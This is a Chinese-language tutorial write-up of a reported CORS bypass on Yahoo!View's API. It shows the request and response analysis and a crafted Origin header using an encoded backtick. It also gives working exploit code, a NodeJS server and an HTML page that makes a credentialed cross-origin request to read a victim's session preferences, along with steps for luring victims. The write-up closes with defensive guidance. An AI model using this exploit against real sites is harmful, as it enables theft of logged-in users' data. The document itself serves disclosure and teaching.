挖洞经验 | 看我如何绕过Yahoo!View的CORS限制策略
字数 1701 2025-08-18 11:36:57
Yahoo!View CORS限制策略绕过分析与教学
漏洞概述
本教学文档详细分析了一个关于Yahoo!View网站跨域资源共享(CORS)策略配置不当的安全漏洞。攻击者通过精心构造的请求头,成功绕过了同源策略限制,能够从第三方域名获取Yahoo!View API的敏感数据。
基础知识
CORS机制
跨域资源共享(CORS)是一种机制,它使用额外的HTTP头来告诉浏览器允许运行在一个源(domain)上的Web应用访问来自不同源服务器上的指定资源。
关键HTTP头:
Origin: 由浏览器自动添加,表示请求来源Access-Control-Allow-Origin: 服务器响应头,指定允许访问资源的来源Access-Control-Allow-Credentials: 服务器响应头,指示是否允许携带凭据(cookie等)
同源策略
同源策略是浏览器的重要安全机制,限制来自不同源的文档或脚本对当前文档的交互。同源定义为协议、域名和端口完全相同。
漏洞发现过程
初始侦察
- 测试目标:Yahoo!View (https://view.yahoo.com/)
- 使用Burp Suite进行被动监测
- 发现API端点:https://api.view.yahoo.com
- 观察到CORS策略实施
正常请求分析
请求示例:
GET /api/session/preferences HTTP/1.1
Host: api.view.yahoo.com
origin: https://view.yahoo.com
正常响应:
HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
Access-Control-Allow-Credentials: true
Access-Control-Allow-Origin: https://view.yahoo.com
这表明:
- 服务器允许来自view.yahoo.com的跨域请求
- 允许携带凭据(如cookies)
漏洞挖掘过程
初步尝试
-
尝试修改Origin为攻击者控制的域名(sxcurity.pro)
- 结果:无CORS相关响应头
-
尝试子域名(view.sxcurity.pro)
- 结果:同样无响应
-
尝试构造类似域名(view.yahoo.com.sxcurity.pro)
- 结果:仍然失败
突破性发现
尝试同时发送两个Origin头:
Origin: https://view.yahoo.com sxcurity.pro
响应:
Access-Control-Allow-Credentials: true
Access-Control-Allow-Origin: https://view.yahoo.com sxcurity.pro
这表明服务器存在解析逻辑漏洞,会接受并反射多个Origin值。
进一步利用尝试
-
尝试在域名间插入特殊字符:
- 使用
%s作为分隔符 - 响应反射了该格式,但无法直接利用
- 使用
-
关键突破:使用URL编码字符
%60(反引号)Origin: http://view.yahoo.com%60cdl.sxcurity.pro
响应:
Access-Control-Allow-Credentials: true
Access-Control-Allow-Origin: http://view.yahoo.com%60cdl.sxcurity.pro
漏洞利用
利用条件
- 需要特定浏览器支持(Safari成功,其他主流浏览器失败)
- 需要设置通配符DNS记录(*.hack-r.be)
利用代码
NodeJS服务器(server.js):
const http = require('http')
const port = 6299
const fs = require("fs");
const requestHandler = (request, response) => {
fs.readFile("index.html", function(err, data){
response.writeHead(200, {'Content-Type': 'text/html'});
response.write(data);
response.end();
});
}
const server = http.createServer(requestHandler)
server.listen(port, (err) => {
if (err) {
return console.log('[+] ruh roh! something went wrong :(', err)
}
console.log(`[+] server is listening on port ${port}`)
})
攻击页面(index.html):
<!DOCTYPE html>
<html>
<head>
<title>CORS</title>
</head>
<body>
<center>
<h2>Yahoo CORs Exploit</h2>
<textarea rows="10" cols="60" id="pwnz"></textarea>
<br>
<button type="button" onclick="cors()">Exploit</button>
</div>
<script>
function cors() {
var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200) {
document.getElementById("pwnz").innerHTML = this.responseText;
}
};
xhttp.open("GET", "http://api.view.yahoo.com/api/session/preferences", true);
xhttp.withCredentials = true;
xhttp.send();
}
</script>
利用步骤
- 设置DNS记录:
*.hack-r.be指向攻击服务器 - 启动NodeJS服务器
- 诱使受害者访问:
http://view.yahoo.com%60cdl.hack-r.be - 点击"Exploit"按钮获取API数据
漏洞原理分析
该漏洞的核心在于Yahoo!View API服务器对CORS头的处理存在以下问题:
- Origin头解析不当:服务器未正确验证和过滤Origin头的值,接受了包含特殊字符的恶意构造
- 反射机制缺陷:服务器直接将构造的Origin值反射到Access-Control-Allow-Origin头中
- 凭据控制缺失:在存在潜在安全风险的情况下仍然允许携带凭据
防御措施
针对开发者的建议
-
严格验证Origin头:
- 维护允许域名的白名单
- 拒绝包含特殊字符的Origin
-
避免动态反射Origin:
// 不安全做法 header("Access-Control-Allow-Origin: $_SERVER['HTTP_ORIGIN']"); // 安全做法 $allowed = ['https://example.com', 'https://sub.example.com']; if (in_array($_SERVER['HTTP_ORIGIN'], $allowed)) { header("Access-Control-Allow-Origin: " . $_SERVER['HTTP_ORIGIN']); } -
限制Access-Control-Allow-Credentials:
- 仅在绝对必要时设置为true
- 结合严格的Origin验证使用
-
实施Vary: Origin头:
- 防止缓存污染攻击
针对系统管理员的建议
- 定期进行安全审计,特别是API端点
- 实施WAF规则拦截异常的Origin头
- 监控异常的CORS请求模式
总结
本案例展示了CORS配置不当可能导致的安全风险。关键教训包括:
- 永远不要信任客户端提供的Origin头
- 动态反射Origin值极其危险
- 浏览器实现差异可能影响漏洞可利用性
- 安全机制的错误配置可能比没有机制更危险
通过深入理解CORS机制和同源策略,开发人员可以更好地保护Web应用免受此类攻击。